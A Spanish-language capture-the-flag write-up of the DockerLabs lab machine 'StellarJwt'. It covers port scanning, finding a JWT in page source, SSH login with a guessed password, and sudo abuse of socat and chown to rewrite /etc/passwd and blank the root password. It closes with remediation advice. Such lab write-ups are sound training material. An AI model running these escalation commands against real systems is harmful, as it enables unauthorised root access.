Ir al contenido

StellarJwt

Este documento presenta la resolución completa de la máquina StellarJwt, desarrollada por Alv-fh para la plataforma DockerLabs y clasificada como fácil.

El propósito es ofrecer un análisis detallado y comprensible que permita entender la lógica detrás de cada fase del proceso de explotación, desde el reconocimiento inicial hasta la obtención del acceso root.

El enfoque metodológico se basa en tres etapas:

  1. Reconocimiento: identificación de servicios expuestos, recursos accesibles y posibles puntos de entrada.
  2. Explotación: validación de vulnerabilidades, obtención de credenciales y acceso inicial al sistema.
  3. Escalada de privilegios: abuso de configuraciones sudo y binarios privilegiados para alcanzar privilegios administrativos.

Todas las pruebas se realizaron en un entorno controlado y aislado proporcionado por DockerLabs, garantizando que las acciones no afecten sistemas reales.


AtributoValor
NombreStellarJwt
AutorAlv-fh
DificultadFácil
Fecha25/10/2024
PlataformaDockerLabs

Se descomprime la máquina proporcionada:

Ventana de terminal
unzip "StellarJwt.zip"

Luego se inicia el contenedor con el script de despliegue automático:

Ventana de terminal
sudo bash auto_deploy.sh "StellarJwt.tar"

El script devuelve la IP interna, la cual será utilizada en todas las fases siguientes.

IP asignada


Para mantener un flujo ordenado y facilitar la documentación, se crea una estructura de carpetas:

Ventana de terminal
mkdir -p StellarJwt/{content,exploits,nmap,gobuster,scripts}
cd StellarJwt

Se realiza un escaneo completo de puertos con Nmap para identificar servicios activos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos

La presencia del servicio HTTP sugiere que el vector de ataque inicial probablemente se encuentre en la aplicación web.


Se procede con la búsqueda de directorios y archivos accesibles usando Gobuster:

Ventana de terminal
gobuster dir \
-u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

Resultados de interés:

  • /index.html — Página principal que muestra un sitio de la NASA aparentemente alterado. index content
  • /universe — Página secundaria con una imagen de galaxia.

En el index aparece una pista clave:

“¿Qué astrónomo alemán descubrió Neptuno?”

La respuesta es Johann Gottfried Galle. Al revisar el código fuente de la página /universe, se encuentra un token JWT comentado en el HTML.

jwt in comment

Al decodificar este token en jwt.io, se obtiene el siguiente contenido:

jwt content

El JWT revela un usuario llamado neptuno, lo que constituye una posible credencial.


Con la información obtenida, se infiere que el usuario neptuno podría tener una contraseña relacionada con la pista previa. Se prueba la conexión SSH con el usuario y el apellido del astrónomo como contraseña:

Ventana de terminal
ssh neptuno@172.18.0.2
# Contraseña: Gottfried

El acceso resulta exitoso:

ssh access


En el directorio personal del usuario neptuno, se encuentra un archivo interesante:

Ventana de terminal
ls -la
cat .carta_a_la_NASA.txt

carta content

El mensaje sugiere que existe otro usuario llamado nasa, e indica dos pistas:

  • El año de fundación de la NASA.
  • El nombre de su fundador.

Con base en esto, se puede deducir la contraseña correspondiente y cambiar al usuario nasa:

Ventana de terminal
su nasa

Listando los permisos sudo del usuario nasa:

Ventana de terminal
sudo -l

sudo -l nasa

El usuario puede ejecutar el binario socat con privilegios del usuario elite. Esto permite escalar mediante la ejecución interactiva de una shell:

Ventana de terminal
sudo -u elite socat stdin exec:/bin/bash

Acceso obtenido como elite:

elite user


Volviendo a listar los permisos sudo:

Ventana de terminal
sudo -l

sudo -l elite

El usuario elite puede ejecutar el comando chown como root, lo que permite modificar la propiedad de archivos críticos del sistema. Aprovechando esto, se cambia la propiedad del archivo /etc/passwd, eliminando la protección de contraseña para el usuario root:

Ventana de terminal
sudo chown elite:elite /etc/
sudo chown elite:elite /etc/passwd
sed 's/root:x:/root::/' /etc/passwd > /tmp/passwd
cat /tmp/passwd > /etc/passwd
su

Finalmente, se obtiene acceso como root:

root user


Tipo de falloDescripciónRiesgo
Exposición de información sensibleEl JWT con datos de usuario estaba expuesto en el código fuente.Alto
Uso de contraseñas predeciblesLas credenciales estaban basadas en pistas triviales y públicas.Alto
Configuración insegura de sudoPermisos excesivos en binarios como socat y chown.Crítico
Permisos de archivos sensibles/etc/passwd modificable mediante abuso de chown.Crítico

  1. Evitar exposición de tokens o credenciales en código fuente. Los JWT deben almacenarse de forma segura y con firmas válidas.

  2. Fortalecer políticas de contraseñas. Usar contraseñas aleatorias y no relacionadas con información pública.

  3. Revisar configuraciones de sudo. Limitar la ejecución de binarios privilegiados solo a usuarios administrativos.

  4. Proteger archivos del sistema. Asegurar permisos correctos en /etc/passwd y otros archivos críticos.

  5. Auditar el sistema periódicamente. Detectar configuraciones inseguras antes de que sean explotadas.